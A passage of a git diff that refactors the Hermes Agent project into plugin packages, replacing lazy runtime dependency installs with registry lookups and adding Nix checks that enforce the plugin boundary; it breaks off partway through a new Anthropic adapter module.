_bedrock_ns.get("is_anthropic_bedrock_model") + if not all([has_aws_credentials, resolve_aws_auth_env_var, resolve_bedrock_region, is_anthropic_bedrock_model]): + raise ImportError("bedrock provider services not fully registered") # When the user explicitly selected bedrock (not auto-detected), # trust boto3's credential chain — it handles IMDS, ECS task roles, # Lambda execution roles, SSO, and other implicit sources that our diff --git a/hermes_cli/setup.py b/hermes_cli/setup.py index 350b2501c9c..309103ea035 100644 --- a/hermes_cli/setup.py +++ b/hermes_cli/setup.py @@ -2186,59 +2186,32 @@ def _setup_matrix(): save_env_value("MATRIX_ENCRYPTION", "true") print_success("E2EE enabled") - matrix_pkg = "mautrix[encryption]" if want_e2ee else "mautrix" - # Use the central lazy-deps feature group so we install ALL of - # platform.matrix's dependencies (mautrix, Markdown, aiosqlite, - # asyncpg, aiohttp-socks) — not just mautrix itself. The previous - # hand-rolled ``pip install mautrix[encryption]`` left asyncpg / - # aiosqlite uninstalled and broke E2EE connect with - # ``No module named 'asyncpg'`` on every fresh install (#31116). + matrix_pkg = "hermes-agent[matrix]" + # Matrix deps are now a proper plugin package. Install it the normal way. try: - from tools.lazy_deps import ensure as _lazy_ensure, feature_missing - _missing_before = feature_missing("platform.matrix") - if _missing_before: - print_info( - f"Installing {matrix_pkg} (+ {len(_missing_before)} runtime deps)..." - ) - try: - _lazy_ensure("platform.matrix", prompt=False) - print_success(f"{matrix_pkg} installed") - except Exception as exc: - print_warning( - f"Install failed — run manually: pip install " - f"'mautrix[encryption]' asyncpg aiosqlite Markdown " - f"aiohttp-socks" - ) - print_info(f" Error: {exc}") + __import__("hermes_agent_matrix") except ImportError: - # tools.lazy_deps unavailable (extreme edge case — partial - # install). Fall back to the legacy single-package install - # path so the wizard still does *something*. - try: - __import__("mautrix") - except ImportError: - print_info(f"Installing {matrix_pkg}...") - import subprocess - uv_bin = shutil.which("uv") - if uv_bin: - result = subprocess.run( - [uv_bin, "pip", "install", "--python", sys.executable, matrix_pkg], - capture_output=True, text=True, - ) - else: - result = subprocess.run( - [sys.executable, "-m", "pip", "install", matrix_pkg], - capture_output=True, text=True, - ) - if result.returncode == 0: - print_success(f"{matrix_pkg} installed") - else: - print_warning( - f"Install failed — run manually: pip install " - f"'{matrix_pkg}' asyncpg aiosqlite Markdown aiohttp-socks" - ) - if result.stderr: - print_info(f" Error: {result.stderr.strip().splitlines()[-1]}") + print_info(f"Installing {matrix_pkg}...") + import subprocess + uv_bin = shutil.which("uv") + if uv_bin: + result = subprocess.run( + [uv_bin, "pip", "install", "--python", sys.executable, matrix_pkg], + capture_output=True, text=True, + ) + else: + result = subprocess.run( + [sys.executable, "-m", "pip", "install", matrix_pkg], + capture_output=True, text=True, + ) + if result.returncode == 0: + print_success(f"{matrix_pkg} installed") + else: + print_warning( + f"Install failed — run manually: pip install '{matrix_pkg}'" + ) + if result.stderr: + print_info(f" Error: {result.stderr.strip().splitlines()[-1]}") print() print_info("🔒 Security: Restrict who can use your bot") diff --git a/hermes_cli/voice.py b/hermes_cli/voice.py index a4ee6a0842d..917379e96a4 100644 --- a/hermes_cli/voice.py +++ b/hermes_cli/voice.py @@ -779,7 +779,9 @@ def speak_text(text: str) -> None: _debug(f"speak_text: TTS begin (paused_recording={paused_recording})") try: - from tools.tts_tool import text_to_speech_tool + from agent.plugin_registries import registries + _tts = registries.get_tool_provider("tts") + text_to_speech_tool = _tts.tool_functions.get("text_to_speech_tool") if _tts else None tts_text = text[:4000] if len(text) > 4000 else text tts_text = re.sub(r'```[\s\S]*?```', ' ', tts_text) # fenced code blocks @@ -806,6 +808,8 @@ def speak_text(text: str) -> None: f"tts_{time.strftime('%Y%m%d_%H%M%S')}.mp3", ) + if text_to_speech_tool is None: + raise ImportError("TTS plugin not registered") _debug(f"speak_text: synthesizing {len(tts_text)} chars -> {mp3_path}") text_to_speech_tool(text=tts_text, output_path=mp3_path) diff --git a/hermes_cli/web_server.py b/hermes_cli/web_server.py index f7a73f17e48..15e83ff576b 100644 --- a/hermes_cli/web_server.py +++ b/hermes_cli/web_server.py @@ -58,22 +58,10 @@ try: from fastapi.staticfiles import StaticFiles from pydantic import BaseModel except ImportError: - # First try lazy-installing the dashboard extras. Only the user actually - # running `hermes dashboard` needs fastapi+uvicorn; lazy install keeps - # them out of every other install path. After install, re-import. - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("tool.dashboard", prompt=False) - from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect - from fastapi.middleware.cors import CORSMiddleware - from fastapi.responses import FileResponse, HTMLResponse, JSONResponse, Response - from fastapi.staticfiles import StaticFiles - from pydantic import BaseModel - except Exception: - raise SystemExit( - "Web UI requires fastapi and uvicorn.\n" - f"Install with: {sys.executable} -m pip install 'fastapi' 'uvicorn[standard]'" - ) + raise SystemExit( + "Web UI requires fastapi and uvicorn.\n" + "Install with: pip install 'hermes-agent[dashboard]'" + ) WEB_DIST = Path(os.environ["HERMES_WEB_DIST"]) if "HERMES_WEB_DIST" in os.environ else Path(__file__).parent / "web_dist" _log = logging.getLogger(__name__) @@ -1319,11 +1307,13 @@ def _anthropic_oauth_status() -> Dict[str, Any]: The dashboard reports the highest-priority source that's actually present. """ try: - from agent.anthropic_adapter import ( - read_hermes_oauth_credentials, - read_claude_code_credentials, - _HERMES_OAUTH_FILE, - ) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + read_hermes_oauth_credentials = _anthropic.get("read_hermes_oauth_credentials") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + _HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE") + if read_hermes_oauth_credentials is None: + raise ImportError("anthropic plugin not registered") except ImportError: read_claude_code_credentials = None # type: ignore read_hermes_oauth_credentials = None # type: ignore @@ -1382,7 +1372,11 @@ def _claude_code_only_status() -> Dict[str, Any]: when they also have a separate Hermes-managed PKCE login. """ try: - from agent.anthropic_adapter import read_claude_code_credentials + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + read_claude_code_credentials = _anthropic.get("read_claude_code_credentials") + if read_claude_code_credentials is None: + raise ImportError("anthropic plugin not registered") creds = read_claude_code_credentials() except Exception: creds = None @@ -1568,8 +1562,10 @@ async def disconnect_oauth_provider(provider_id: str, request: Request): # want to undo a disconnect. if provider_id in {"anthropic", "claude-code"}: try: - from agent.anthropic_adapter import _HERMES_OAUTH_FILE - if _HERMES_OAUTH_FILE.exists(): + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + _HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE") + if _HERMES_OAUTH_FILE is not None and _HERMES_OAUTH_FILE.exists(): _HERMES_OAUTH_FILE.unlink() except Exception: pass @@ -1636,13 +1632,15 @@ _oauth_sessions_lock = threading.Lock() # Guarded so hermes web still starts if anthropic_adapter is unavailable; # Phase 2 endpoints will return 501 in that case. try: - from agent.anthropic_adapter import ( - _OAUTH_CLIENT_ID as _ANTHROPIC_OAUTH_CLIENT_ID, - _OAUTH_TOKEN_URL as _ANTHROPIC_OAUTH_TOKEN_URL, - _OAUTH_REDIRECT_URI as _ANTHROPIC_OAUTH_REDIRECT_URI, - _OAUTH_SCOPES as _ANTHROPIC_OAUTH_SCOPES, - _generate_pkce as _generate_pkce_pair, - ) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + _ANTHROPIC_OAUTH_CLIENT_ID = _anthropic.get("_OAUTH_CLIENT_ID") + _ANTHROPIC_OAUTH_TOKEN_URL = _anthropic.get("_OAUTH_TOKEN_URL") + _ANTHROPIC_OAUTH_REDIRECT_URI = _anthropic.get("_OAUTH_REDIRECT_URI") + _ANTHROPIC_OAUTH_SCOPES = _anthropic.get("_OAUTH_SCOPES") + _generate_pkce_pair = _anthropic.get("_generate_pkce") + if any(v is None for v in [_ANTHROPIC_OAUTH_CLIENT_ID, _ANTHROPIC_OAUTH_TOKEN_URL, _ANTHROPIC_OAUTH_REDIRECT_URI, _ANTHROPIC_OAUTH_SCOPES, _generate_pkce_pair]): + raise ImportError("anthropic plugin not registered") _ANTHROPIC_OAUTH_AVAILABLE = True except ImportError: _ANTHROPIC_OAUTH_AVAILABLE = False @@ -1680,7 +1678,11 @@ def _save_anthropic_oauth_creds(access_token: str, refresh_token: str, expires_a Mirrors what auth_commands.add_command does so the dashboard flow leaves the system in the same state as ``hermes auth add anthropic``. """ - from agent.anthropic_adapter import _HERMES_OAUTH_FILE + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + _HERMES_OAUTH_FILE = _anthropic.get("_HERMES_OAUTH_FILE") + if _HERMES_OAUTH_FILE is None: + raise ImportError("anthropic plugin not registered") payload = { "accessToken": access_token, "refreshToken": refresh_token, diff --git a/mini_swe_runner.py b/mini_swe_runner.py index e3d2f174e99..f4a4b326966 100644 --- a/mini_swe_runner.py +++ b/mini_swe_runner.py @@ -147,8 +147,15 @@ def create_environment( return DockerEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs) elif env_type == "modal": - from tools.environments.modal import ModalEnvironment - return ModalEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs) + from agent.plugin_registries import registries + _modal = registries.get_tool_provider("modal") + _ModalEnvironment = _modal.environment_classes.get("ModalEnvironment") if _modal else None + if _ModalEnvironment is None: + raise ValueError( + "Modal backend selected but the hermes_agent_modal plugin is not loaded. " + "Ensure the modal plugin is installed and enabled." + ) + return _ModalEnvironment(image=image, cwd=cwd, timeout=timeout, **kwargs) else: raise ValueError(f"Unknown environment type: {env_type}. Use 'local', 'docker', or 'modal'") diff --git a/nix/checks.nix b/nix/checks.nix index 49955a6c5fd..6fc515a2981 100644 --- a/nix/checks.nix +++ b/nix/checks.nix @@ -260,6 +260,239 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2) echo "ok" > $out/result ''; + # ── Plugin architecture (hermetic core boundary) ─────────────────── + # + # These checks prove that under NixOS (sealed venv, no pip install), + # the plugin system works correctly: + # 1. Core never imports from hermes_agent_* packages directly + # 2. Plugin registries are populated after discovery + # 3. Provider service namespaces are queryable + # 4. Optional plugins degrade gracefully (None returns, no crash) + # 5. No ensure() / lazy_deps / pip-install at runtime + + # Check 1: Zero direct hermes_agent_* imports in core code + plugin-hermetic-boundary = pkgs.runCommand "hermes-plugin-hermetic-boundary" { } '' + set -e + echo "=== Checking core never imports from plugin packages ===" + + # Search for direct imports from hermes_agent_* in core code + # (excluding plugins/, tests/, website/, and comments) + VIOLATIONS=$(${hermesVenv}/bin/python3 -c ' + import subprocess, re, sys + result = subprocess.run( + ["grep", "-rn", + "from hermes_agent_\\|import hermes_agent_", + "${hermes-agent}/share/hermes-agent"], + capture_output=True, text=True + ) + lines = result.stdout.strip().split("\n") if result.stdout.strip() else [] + # Filter: only .py files, not in plugins/ or tests/, not comments + violations = [] + for line in lines: + if not line.endswith(".py"): + continue + parts = line.split(":", 2) + if len(parts) < 3: + continue + filepath, lineno, content = parts + # Skip plugin directories + if "/plugins/" in filepath: + continue + # Skip test directories + if "/tests/" in filepath or "/test_" in filepath: + continue + # Skip comments + stripped = content.lstrip() + if stripped.startswith("#"): + continue + violations.append(line) + for v in violations: + print(v) + sys.exit(1 if violations else 0) + ' 2>&1 || true) + + if [ -n "$VIOLATIONS" ]; then + echo "FAIL: Core code imports directly from plugin packages:" + echo "$VIOLATIONS" + exit 1 + fi + echo "PASS: Zero direct hermes_agent_* imports in core" + + echo "=== Checking no ensure() / LAZY_DEPS in core ===" + ENSURE_VIOLATIONS=$(grep -rn 'ensure(' ${hermes-agent}/share/hermes-agent/agent/ ${hermes-agent}/share/hermes-agent/hermes_cli/ --include='*.py' 2>/dev/null | grep -v '__pycache__' | grep -v '# ' || true) + if [ -n "$ENSURE_VIOLATIONS" ]; then + echo "FAIL: ensure() still used in core:" + echo "$ENSURE_VIOLATIONS" + exit 1 + fi + echo "PASS: No ensure() calls in core code" + + mkdir -p $out + echo "ok" > $out/result + ''; + + # Check 2: Plugin registries populate after discovery + plugin-registries-populate = pkgs.runCommand "hermes-plugin-registries-populate" { } '' + set -e + echo "=== Checking plugin registries populate after discovery ===" + export HOME=$(mktemp -d) + + RESULT=$(${hermesVenv}/bin/python3 -c ' + import json, sys + from hermes_cli.plugins import PluginManager + from agent.plugin_registries import registries + + pm = PluginManager() + pm.discover_and_load(force=True) + + out = { + "provider_services": list(registries._provider_services.keys()), + "platform_adapters": list(registries.platform_adapters.keys()), + "tool_providers": list(registries.tool_providers.keys()), + } + json.dump(out, sys.stdout) + ' 2>/dev/null) + + echo "Registry state: $RESULT" + + # Verify provider services populated + PROV_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.provider_services | length') + if [ "$PROV_COUNT" -lt 1 ]; then + echo "FAIL: No provider services registered (expected >= 1)" + exit 1 + fi + echo "PASS: $PROV_COUNT provider service(s) registered" + + # Verify platform adapters populated + PLAT_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.platform_adapters | length') + if [ "$PLAT_COUNT" -lt 1 ]; then + echo "FAIL: No platform adapters registered (expected >= 1)" + exit 1 + fi + echo "PASS: $PLAT_COUNT platform adapter(s) registered" + + # Verify tool providers populated + TOOL_COUNT=$(echo "$RESULT" | ${pkgs.jq}/bin/jq '.tool_providers | length') + if [ "$TOOL_COUNT" -lt 1 ]; then + echo "FAIL: No tool providers registered (expected >= 1)" + exit 1 + fi + echo "PASS: $TOOL_COUNT tool provider(s) registered" + + mkdir -p $out + echo "ok" > $out/result + ''; + + # Check 3: Specific provider service lookups work + plugin-provider-lookups = pkgs.runCommand "hermes-plugin-provider-lookups" { } '' + set -e + echo "=== Checking provider service lookups ===" + export HOME=$(mktemp -d) + + RESULT=$(${hermesVenv}/bin/python3 -c ' + import json, sys + from hermes_cli.plugins import PluginManager + from agent.plugin_registries import registries + + pm = PluginManager() + pm.discover_and_load(force=True) + + checks = { + "anthropic.resolve_anthropic_token": registries.get_provider_service("anthropic", "resolve_anthropic_token") is not None, + "bedrock.has_aws_credentials": registries.get_provider_service("bedrock", "has_aws_credentials") is not None, + "azure.is_token_provider": registries.get_provider_service("azure", "is_token_provider") is not None, + } + json.dump(checks, sys.stdout) + ' 2>/dev/null) + + echo "Lookup results: $RESULT" + + for key in anthropic.resolve_anthropic_token bedrock.has_aws_credentials azure.is_token_provider; do + VALUE=$(echo "$RESULT" | ${pkgs.jq}/bin/jq --arg k "$key" '.[$k]') + if [ "$VALUE" != "true" ]; then + echo "FAIL: $key lookup returned $VALUE (expected true)" + exit 1 + fi + echo "PASS: $key lookup works" + done + + mkdir -p $out + echo "ok" > $out/result + ''; + + # Check 4: Missing plugins degrade gracefully (no crash) + plugin-missing-graceful = pkgs.runCommand "hermes-plugin-missing-graceful" { } '' + set -e + echo "=== Checking missing plugins degrade gracefully ===" + export HOME=$(mktemp -d) + + ${hermesVenv}/bin/python3 -c ' + from agent.plugin_registries import registries + + # Lookup from non-existent provider — should return None, not crash + result = registries.get_provider_service("nonexistent-provider", "some_function") + assert result is None, f"Expected None for missing provider, got {result}" + + # Lookup from empty registry — should return None + result2 = registries.get_provider_namespace("no-such-provider") + assert result2 == {}, f"Expected empty dict for missing namespace, got {result2}" + + # Lookup specific tool provider that does not exist + result3 = registries.get_tool_provider("nonexistent-tool") + assert result3 is None, f"Expected None for missing tool provider, got {result3}" + + print("PASS: All missing-plugin lookups return None gracefully") + ' 2>&1 + + echo "PASS: Missing plugins degrade gracefully (no crash)" + + mkdir -p $out + echo "ok" > $out/result + ''; + + # Check 5: No runtime pip install / ensure in gateway/run.py + plugin-no-runtime-install = pkgs.runCommand "hermes-plugin-no-runtime-install" { } '' + set -e + echo "=== Checking no runtime pip install / ensure in core ===" + + # Check gateway/run.py has no ensure() or pip install + GATEWAY=${hermes-agent}/share/hermes-agent/gateway/run.py + if [ -f "$GATEWAY" ]; then + if grep -q 'ensure(' "$GATEWAY" || grep -q 'pip install' "$GATEWAY"; then + echo "FAIL: gateway/run.py contains ensure() or pip install" + grep -n 'ensure(\|pip install' "$GATEWAY" + exit 1 + fi + echo "PASS: gateway/run.py has no ensure()/pip install" + else + echo "SKIP: gateway/run.py not found in package" + fi + + # Check run_agent.py has no ensure() or pip install + RUN_AGENT=${hermes-agent}/share/hermes-agent/run_agent.py + if [ -f "$RUN_AGENT" ]; then + if grep -q 'ensure(' "$RUN_AGENT" || grep -q 'pip install' "$RUN_AGENT"; then + echo "FAIL: run_agent.py contains ensure() or pip install" + grep -n 'ensure(\|pip install' "$RUN_AGENT" + exit 1 + fi + echo "PASS: run_agent.py has no ensure()/pip install" + else + echo "SKIP: run_agent.py not found in package" + fi + + # Check tools/lazy_deps.py is gone + LAZY_DEPS=${hermes-agent}/share/hermes-agent/tools/lazy_deps.py + if [ -f "$LAZY_DEPS" ]; then + echo "FAIL: tools/lazy_deps.py still exists — should be removed" + exit 1 + fi + echo "PASS: tools/lazy_deps.py removed" + + mkdir -p $out + echo "ok" > $out/result + ''; + # ── Config merge + round-trip test ──────────────────────────────── # Tests the merge script (Nix activation behavior) across 7 # scenarios, then verifies Python's load_config() reads correctly. diff --git a/nix/web.nix b/nix/web.nix index 557f596b911..67d6e6dc694 100644 --- a/nix/web.nix +++ b/nix/web.nix @@ -4,7 +4,7 @@ let src = ../web; npmDeps = pkgs.fetchNpmDeps { inherit src; - hash = "sha256-6qhGuifHVtCeep1SiQdCUxBMr7UGhYpdMTvXhrQu/zA="; + hash = "sha256-RPPWPM0nEkwsaQHrkdEP+UMTZ2aF7JHUNfsIEnKt1l8="; }; npm = hermesNpmLib.mkNpmPassthru { folder = "web"; attr = "web"; pname = "hermes-web"; }; diff --git a/plugins/dashboard/__init__.py b/plugins/dashboard/__init__.py new file mode 100644 index 00000000000..4374ea208a4 --- /dev/null +++ b/plugins/dashboard/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_dashboard.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_dashboard package.""" + from hermes_agent_dashboard import register as _inner_register + _inner_register(ctx) diff --git a/plugins/dashboard/hermes_agent_dashboard/__init__.py b/plugins/dashboard/hermes_agent_dashboard/__init__.py new file mode 100644 index 00000000000..b5f0a1ed5a1 --- /dev/null +++ b/plugins/dashboard/hermes_agent_dashboard/__init__.py @@ -0,0 +1,6 @@ +"""Hermes Agent web dashboard.""" + + +def register(ctx): + """Plugin entry point — dashboard registers via ctx.register_tool_provider_entry().""" + pass diff --git a/plugins/dashboard/plugin.yaml b/plugins/dashboard/plugin.yaml new file mode 100644 index 00000000000..8dc2439706d --- /dev/null +++ b/plugins/dashboard/plugin.yaml @@ -0,0 +1,6 @@ +name: dashboard +version: 0.1.0 +description: Web dashboard (FastAPI + uvicorn) +kind: backend +provides_tools: ["dashboard"] +provides_hooks: [] diff --git a/plugins/dashboard/pyproject.toml b/plugins/dashboard/pyproject.toml new file mode 100644 index 00000000000..2abdc2ab8bf --- /dev/null +++ b/plugins/dashboard/pyproject.toml @@ -0,0 +1,20 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-dashboard" +version = "0.1.0" +description = "Hermes Agent web dashboard (FastAPI + Uvicorn)" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", +] + +[project.entry-points."hermes_agent.plugins"] +dashboard = "hermes_agent_dashboard:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_dashboard*"] diff --git a/plugins/image_gen/fal_pkg/__init__.py b/plugins/image_gen/fal_pkg/__init__.py new file mode 100644 index 00000000000..5b42e040b65 --- /dev/null +++ b/plugins/image_gen/fal_pkg/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_fal.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_fal package.""" + from hermes_agent_fal import register as _inner_register + _inner_register(ctx) diff --git a/plugins/image_gen/fal_pkg/hermes_agent_fal/__init__.py b/plugins/image_gen/fal_pkg/hermes_agent_fal/__init__.py new file mode 100644 index 00000000000..aa1f6e16d8b --- /dev/null +++ b/plugins/image_gen/fal_pkg/hermes_agent_fal/__init__.py @@ -0,0 +1,36 @@ +"""hermes-agent-fal: FAL.ai SDK plumbing plugin for Hermes Agent.""" + +from hermes_agent_fal.fal_common import ( # noqa: F401 + import_fal_client, + _ManagedFalSyncClient, + _extract_http_status, + _normalize_fal_queue_url_format, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers FAL SDK plumbing (import_fal_client, _ManagedFalSyncClient, + etc.) in the plugin capability registry so core code can look them + up without importing from ``hermes_agent_fal`` directly. + """ + from hermes_agent_fal.fal_common import ( + import_fal_client, + _ManagedFalSyncClient, + _extract_http_status, + _normalize_fal_queue_url_format, + ) + ctx.register_tool_provider_entry( + name="fal", + tool_functions={ + "import_fal_client": import_fal_client, + }, + constants={ + "_normalize_fal_queue_url_format": _normalize_fal_queue_url_format, + }, + config_functions={ + "_ManagedFalSyncClient": _ManagedFalSyncClient, + "_extract_http_status": _extract_http_status, + }, + ) diff --git a/tools/fal_common.py b/plugins/image_gen/fal_pkg/hermes_agent_fal/fal_common.py similarity index 92% rename from tools/fal_common.py rename to plugins/image_gen/fal_pkg/hermes_agent_fal/fal_common.py index 27636f90388..4cff67916db 100644 --- a/tools/fal_common.py +++ b/plugins/image_gen/fal_pkg/hermes_agent_fal/fal_common.py @@ -2,9 +2,8 @@ Holds the stateless atoms that every FAL-backed tool needs: -* :func:`import_fal_client` — lazy import + ``lazy_deps`` integration so - ``fal_client`` isn't pulled at cold start (it added ~64 ms per CLI - invocation when imported eagerly). +* :func:`import_fal_client` — lazy import so ``fal_client`` isn't pulled at + cold start (it added ~64 ms per CLI invocation when imported eagerly). * :class:`_ManagedFalSyncClient` — wrapper that drives a Nous-managed fal-queue gateway through the standard ``fal_client.SyncClient`` primitives. @@ -31,8 +30,7 @@ from urllib.parse import urlencode def import_fal_client() -> Any: - """Import ``fal_client`` (via ``lazy_deps`` when available) and return - the module reference. + """Import ``fal_client`` and return the module reference. Callers are responsible for caching the result on their own module global — keeping per-module globals lets tests monkey-patch the @@ -41,13 +39,6 @@ def import_fal_client() -> Any: Raises :class:`ImportError` if the package is genuinely unavailable. """ - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("image.fal", prompt=False) - except ImportError: - pass - except Exception as exc: # noqa: BLE001 — lazy_deps surfaces install hints - raise ImportError(str(exc)) import fal_client # type: ignore # noqa: WPS433 — intentionally lazy return fal_client diff --git a/plugins/image_gen/fal_pkg/plugin.yaml b/plugins/image_gen/fal_pkg/plugin.yaml new file mode 100644 index 00000000000..a1ea13e634d --- /dev/null +++ b/plugins/image_gen/fal_pkg/plugin.yaml @@ -0,0 +1,6 @@ +name: fal +version: 0.1.0 +description: FAL.ai image generation backend +kind: backend +provides_tools: ["image_gen"] +provides_hooks: [] diff --git a/plugins/image_gen/fal_pkg/pyproject.toml b/plugins/image_gen/fal_pkg/pyproject.toml new file mode 100644 index 00000000000..f4e45e38fa3 --- /dev/null +++ b/plugins/image_gen/fal_pkg/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-fal" +version = "0.1.0" +description = "FAL.ai SDK plumbing plugin for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "fal-client==0.13.1", +] + +[project.entry-points."hermes_agent.plugins"] +fal = "hermes_agent_fal:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_fal*"] diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index 1ca362e0089..81e13b9f840 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -879,8 +879,7 @@ class HindsightMemoryProvider(MemoryProvider): + (f": {reason}" if reason else "") ) try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("memory.hindsight", prompt=False) + from hindsight import HindsightEmbedded # noqa: F401 — side-effect import except ImportError: pass except Exception as _e: diff --git a/plugins/memory/hindsight/pyproject.toml b/plugins/memory/hindsight/pyproject.toml new file mode 100644 index 00000000000..977c760194b --- /dev/null +++ b/plugins/memory/hindsight/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-hindsight" +version = "1.0.0" +description = "Hindsight long-term memory with knowledge graph for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "hindsight-client==0.6.1", +] + +[project.entry-points."hermes_agent.plugins"] +hindsight = "hermes_agent_hindsight:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_hindsight*"] diff --git a/plugins/memory/honcho/client.py b/plugins/memory/honcho/client.py index eb268216c9b..784cacfe240 100644 --- a/plugins/memory/honcho/client.py +++ b/plugins/memory/honcho/client.py @@ -688,23 +688,12 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho: "For local instances, set HONCHO_BASE_URL instead." ) - # Lazy-install the honcho SDK on demand. ensure() honors + # Import the honcho SDK (installed via hermes-agent-honcho package). # security.allow_lazy_installs (default true). On failure we surface # the original ImportError-shape message so existing callers still get # the "go run hermes honcho setup" hint they used to. try: - from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure - _lazy_ensure("memory.honcho", prompt=False) - except ImportError: - # lazy_deps module missing — fall through to the raw import below. - pass - except Exception: - # FeatureUnavailable or unexpected error. Don't crash here; let the - # actual import attempt produce the canonical error message. - pass - - try: - from honcho import Honcho + from honcho import Honcho # noqa: F401 — imported for side-effects except ImportError: raise ImportError( "honcho-ai is required for Honcho integration. " diff --git a/plugins/memory/honcho/pyproject.toml b/plugins/memory/honcho/pyproject.toml new file mode 100644 index 00000000000..a19096c3a74 --- /dev/null +++ b/plugins/memory/honcho/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-honcho" +version = "1.0.0" +description = "Honcho AI-native memory for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "honcho-ai==2.0.1", +] + +[project.entry-points."hermes_agent.plugins"] +honcho = "hermes_agent_honcho:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_honcho*"] diff --git a/plugins/model-providers/ai-gateway/__init__.py b/plugins/model-providers/ai-gateway/__init__.py index 9d01ab98246..76939dc1266 100644 --- a/plugins/model-providers/ai-gateway/__init__.py +++ b/plugins/model-providers/ai-gateway/__init__.py @@ -41,3 +41,9 @@ vercel = VercelAIGatewayProfile( ) register_provider(vercel) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/alibaba-coding-plan/__init__.py b/plugins/model-providers/alibaba-coding-plan/__init__.py index 607439a365e..58e285888d9 100644 --- a/plugins/model-providers/alibaba-coding-plan/__init__.py +++ b/plugins/model-providers/alibaba-coding-plan/__init__.py @@ -19,3 +19,9 @@ alibaba_coding_plan = ProviderProfile( ) register_provider(alibaba_coding_plan) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/alibaba/__init__.py b/plugins/model-providers/alibaba/__init__.py index 5772bc87e60..df30666f814 100644 --- a/plugins/model-providers/alibaba/__init__.py +++ b/plugins/model-providers/alibaba/__init__.py @@ -11,3 +11,9 @@ alibaba = ProviderProfile( ) register_provider(alibaba) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/anthropic/__init__.py b/plugins/model-providers/anthropic/__init__.py index f1f45eb82c7..d1f25ac61f8 100644 --- a/plugins/model-providers/anthropic/__init__.py +++ b/plugins/model-providers/anthropic/__init__.py @@ -50,3 +50,9 @@ anthropic = AnthropicProfile( ) register_provider(anthropic) + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_anthropic package.""" + from hermes_agent_anthropic import register as _inner_register + _inner_register(ctx) diff --git a/plugins/model-providers/anthropic/hermes_agent_anthropic/__init__.py b/plugins/model-providers/anthropic/hermes_agent_anthropic/__init__.py new file mode 100644 index 00000000000..f9d0ffa43ca --- /dev/null +++ b/plugins/model-providers/anthropic/hermes_agent_anthropic/__init__.py @@ -0,0 +1,178 @@ +"""hermes-agent-anthropic: Anthropic Messages API adapter for Hermes Agent.""" + +from hermes_agent_anthropic.adapter import ( # noqa: F401 + ADAPTIVE_EFFORT_MAP, + THINKING_BUDGET, + _ANTHROPIC_DEFAULT_OUTPUT_LIMIT, + _ANTHROPIC_OUTPUT_LIMITS, + _ADAPTIVE_THINKING_SUBSTRINGS, + _CLAUDE_CODE_SYSTEM_PREFIX, + _CLAUDE_CODE_VERSION_FALLBACK, + _COMMON_BETAS, + _CONTEXT_1M_BETA, + _FAST_MODE_BETA, + _FAST_MODE_SUPPORTED_SUBSTRINGS, + _HERMES_OAUTH_FILE, + _KIMI_FAMILY_MODEL_PREFIXES, + _MCP_TOOL_PREFIX, + _NO_SAMPLING_PARAMS_SUBSTRINGS, + _OAUTH_CLIENT_ID, + _OAUTH_ONLY_BETAS, + _OAUTH_REDIRECT_URI, + _OAUTH_SCOPES, + _OAUTH_TOKEN_URL, + _TOOL_STREAMING_BETA, + _XHIGH_EFFORT_SUBSTRINGS, + _build_anthropic_client_with_bearer_hook, + _common_betas_for_base_url, + _content_parts_to_anthropic_blocks, + _convert_assistant_message, + _convert_content_part_to_anthropic, + 